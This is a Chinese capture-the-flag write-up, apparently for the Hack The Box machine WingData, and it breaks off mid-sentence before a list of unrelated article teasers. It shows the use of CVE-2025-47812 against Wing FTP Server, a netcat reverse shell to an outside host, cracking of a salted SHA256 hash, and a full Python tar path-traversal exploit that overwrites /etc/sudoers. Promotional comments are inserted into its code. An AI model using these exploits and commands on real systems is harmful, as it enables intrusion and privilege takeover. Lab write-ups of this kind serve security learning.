【渗透测试】HTB靶场之WingData 全过程wp 📅 发布时间:2026/7/13 2:48:24 👁️ 浏览次数: WingData信息收集得到一个ftp.wingdata.htb也将这个加上Wing FTP Server v7.4.3通过搜寻cve是 CVE-2025-47812漏洞利用CVE-2025-478124m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)/* by 01130.hk - online tools website : 01130.hk/zh/generatematicwallets.html */ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c whoami -v然后反弹shell/* by 01130.hk - online tools website : 01130.hk/zh/generatematicwallets.html */ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c nc 10.10.16.5 8888 -e /bin/sh -v python3 -c import pty;pty.spawn(/bin/bash)然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP爆破hash(WingFTP 使用SHA256算法并使用盐值“WingFTP”为加密方式)hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt得到密码!#7Blushing^*Bride5wacky/c然后ssh连接得到user.txt权限提升先sudo -l看一下可以看到有一个py脚本我们去看一下cat /opt/backup_clients/restore_backup_clients.py#!/usr/bin/env python3 import tarfile import os import sys import re import argparse BACKUP_BASE_DIR /opt/backup_clients/backups STAGING_BASE /opt/backup_clients/restored_backups def validate_backup_name(filename): if not re.fullmatch(r^backup_\d\.tar$, filename): return False client_id filename.split(_)[1].rstrip(.tar) return client_id.isdigit() and client_id ! 0 def validate_restore_tag(tag): return bool(re.fullmatch(r^[a-zA-Z0-9_]{1,24}$, tag)) def main(): parser argparse.ArgumentParser( descriptionRestore client configuration from a validated backup tarball., epilogExample: sudo %(prog)s -b backup_1001.tar -r restore_john ) parser.add_argument( -b, --backup, requiredTrue, helpBackup filename (must be in /home/wacky/backup_clients/ and match backup_client_id.tar, where client_id is a positive integer, e.g., backup_1001.tar) ) parser.add_argument( -r, --restore-dir, requiredTrue, helpStaging directory name for the restore operation. Must follow the format: restore_client_user (e.g., restore_john). Only alphanumeric characters and underscores are allowed in the client_user part (1–24 characters). ) args parser.parse_args() if not validate_backup_name(args.backup): print([!] Invalid backup name. Expected format: backup_client_id.tar (e.g., backup_1001.tar), filesys.stderr) sys.exit(1) backup_path os.path.join(BACKUP_BASE_DIR, args.backup) if not os.path.isfile(backup_path): print(f[!] Backup file not found: {backup_path}, filesys.stderr) sys.exit(1) if not args.restore_dir.startswith(restore_): print([!] --restore-dir must start with restore_, filesys.stderr) sys.exit(1) tag args.restore_dir[8:] if not tag: print([!] --restore-dir must include a non-empty tag after restore_, filesys.stderr) sys.exit(1) if not validate_restore_tag(tag): print([!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores, filesys.stderr) sys.exit(1) staging_dir os.path.join(STAGING_BASE, args.restore_dir) print(f[] Backup: {args.backup}) print(f[] Staging directory: {staging_dir}) os.makedirs(staging_dir, exist_okTrue) try: with tarfile.open(backup_path, r) as tar: tar.extractall(pathstaging_dir, filterdata) print(f[] Extraction completed in {staging_dir}) except (tarfile.TarError, OSError, Exception) as e: print(f[!] Error during extraction: {e}, filesys.stderr) sys.exit(2) if __name__ __main__: main()我们利用这个脚本生成tar文件#!/usr/bin/env python3 # -*- coding: utf-8 -*- 生成恶意tar文件的漏洞利用脚本 作用构造包含多层目录、符号链接的tar文件尝试突破路径限制写入/etc/sudoers import tarfile import os import io import sys def create_malicious_tar(output_path/tmp/backup_9999.tar): 创建恶意tar文件包含路径遍历和符号链接的构造 Args: output_path: 生成的tar文件保存路径默认/tmp/backup_9999.tar # 构造长目录名247个d用于突破路径长度限制 long_dir_name d * 247 # 用于构造多层目录的字符序列 step_chars abcdefghijklmnop current_path try: # 以写模式打开tar文件 with tarfile.open(output_path, modew) as tar: # 循环构造多层目录和符号链接 for char in step_chars: # 1. 创建长目录名的目录项 dir_info tarfile.TarInfo(os.path.join(current_path, long_dir_name)) dir_info.type tarfile.DIRTYPE # 标记为目录类型 tar.addfile(dir_info) # 2. 创建指向该长目录的符号链接 symlink_info tarfile.TarInfo(os.path.join(current_path, char)) symlink_info.type tarfile.SYMTYPE # 标记为符号链接类型 symlink_info.linkname long_dir_name # 链接指向长目录 tar.addfile(symlink_info) # 更新当前路径进入下一层 current_path os.path.join(current_path, long_dir_name) # 3. 构造多层符号链接路径用于路径遍历 link_path os.path.join(/.join(step_chars), l*254) link_info tarfile.TarInfo(link_path) link_info.type tarfile.SYMTYPE link_info.linkname ../ * len(step_chars) # 构造回退路径 tar.addfile(link_info) # 4. 创建指向/etc目录的符号链接escape escape_info tarfile.TarInfo(escape) escape_info.type tarfile.SYMTYPE escape_info.linkname f{link_path}/../../../../../../../etc tar.addfile(escape_info) # 5. 创建指向/etc/sudoers的硬链接sudoers_link sudoers_link_info tarfile.TarInfo(sudoers_link) sudoers_link_info.type tarfile.LNKTYPE sudoers_link_info.linkname escape/sudoers tar.addfile(sudoers_link_info) # 6. 写入恶意内容到sudoers_link覆盖/etc/sudoers malicious_content bwacky ALL(ALL) NOPASSWD: ALL\n file_info tarfile.TarInfo(sudoers_link) file_info.type tarfile.REGTYPE # 标记为普通文件类型 file_info.size len(malicious_content) # 指定文件大小 # 将内容写入tar文件 tar.addfile(file_info, fileobjio.BytesIO(malicious_content)) print(f[] 恶意tar文件已生成{output_path}) except Exception as e: print(f[!] 生成tar文件失败{str(e)}, filesys.stderr) sys.exit(1) if __name__ __main__: # 支持自定义输出路径可选参数 if len(sys.argv) 1: output_tar sys.argv[1] else: output_tar /tmp/backup_9999.tar create_malicious_tar(output_tar)复制这个恶意的tar文件到sudo权限的目录下cp backup_9999.tar /opt/backup_clients/backups/然后运行这个sudo脚本sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil这时候再去sudo
风储VSG-基于虚拟同步发电机的风储并网系统附Simulink仿真 ✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室🍊个人信条:格物致知,完整Matlab代码及仿真咨询… 2026/7/11 16:51:05
分布式传感器算法评估LEACH聚类能量耗尽研究附Matlab代码 ✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室🍊个人信条:格物致知,完整Matlab代码及仿真咨询… 2026/7/8 8:06:44
大数据ETL架构:Airflow与DataX集成方案 大数据ETL架构:Airflow与DataX集成方案关键词:大数据ETL、Airflow、DataX、工作流调度、数据同步、任务编排、批处理 摘要:在大数据时代,**ETL(抽取-转换-加载)是连接分散数据源与数据仓库的“桥梁”&#… 2026/7/11 22:39:45
Maven package/install/deploy 全流程解析:从本地 JAR 到远程仓库的 4 步实践 Maven全流程构建实战:从源码到发布的深度指南在Java生态系统中,Maven作为项目管理和构建自动化的核心工具,其生命周期管理能力直接影响着开发效率和交付质量。本文将深入剖析Maven构建流程中的关键阶段,结合IntelliJ IDEA的高效操… 2026/7/13 2:48:20
Xshell 日志记录排错指南:4步定位‘日志文件丢失’问题 Xshell日志文件丢失排查指南:从配置检查到文件恢复的完整方案当你在Xshell中启用了日志记录功能,却发现日志文件神秘消失时,这种体验就像在黑暗中摸索——明明按照步骤操作了,结果却不如预期。本文将带你深入Xshell日志系统的运作… 2026/7/13 2:48:20
大模型长期记忆短板:LongMemEval揭示记忆断崖现象 这次我们来深入分析一个揭示大模型长期记忆能力短板的重要研究——LongMemEval基准测试。即便像GPT-4o这样拥有128K上下文窗口的顶尖模型,在处理真实长期交互时仍面临"记忆断崖"问题。LongMemEval通过构建150万Token、500次交互的测试场景,系统… 2026/7/13 2:44:19
16 个模块、4 种演示方式、一句话 AI 驱动:这个项目把 Spring Cloud 微服务实战做到了极致 Spring Boot 4.1 | Spring Cloud Alibaba 2025.1.x | Spring AI 2.0 | 16 个模块 | HTTP / Dubbo / gRPC / Stream / Kafka 五协议共治 学 Spring Cloud 最让人沮丧的不是理解概念,而是把它跑起来。 Nacos 要装、RocketMQ 要启、MySQL 要建表、Seata Server 要配、… 2026/7/13 2:40:18
市面上比较实用的工商管理专业证书 在竞争日益激烈的职场中,工商管理专业的你,是否感觉自己的简历需要一些“硬通货”来加持?🤔 除了扎实的学位,一张高含金量的专业证书,往往能成为你叩开名企大门、实现职业跃迁的“金钥匙”。今天࿰… 2026/7/13 2:38:18
Prolog逻辑编程:声明式建模与知识推理实战指南 1. 这不是“又一门编程语言”:Prolog 的本质是逻辑建模的思维操作系统很多人第一次看到“Prolog — Programming in Logic”这个标题,下意识会把它归类为“和 Python、Java 并列的第 N 门编程语言”,然后迅速划走——毕竟学一门新语法的成本太… 2026/7/13 2:36:17
HS2-HF Patch终极指南:如何用3步解决Honey Select 2的70+个痛点 HS2-HF Patch终极指南:如何用3步解决Honey Select 2的70个痛点 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch 你是否曾经在Honey Select 2中遇到过… 2026/7/13 0:01:19
语音转文字工具AsrTools:让音频整理变得简单高效 语音转文字工具AsrTools:让音频整理变得简单高效 【免费下载链接】AsrTools ✨ AsrTools: Smart Voice-to-Text Tool | Efficient Batch Processing | User-Friendly Interface | No GPU Required | Supports SRT/TXT Output | Turn your audio into accurate text … 2026/7/13 0:03:19
基于深度学习的蘑菇或花卉或动漫人物或中草药货水果蔬菜等识别系统31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_ 基于深度学习的蘑菇或花卉或动漫人物或中草药货水果蔬菜等识别系统31(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_ 独家界面!不会重复,此项目属于本人原创,若有雷同,均是盗卖,各位买… 2026/7/13 0:05:20
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/12 0:01:13
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/12 0:01:13
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/13 2:34:55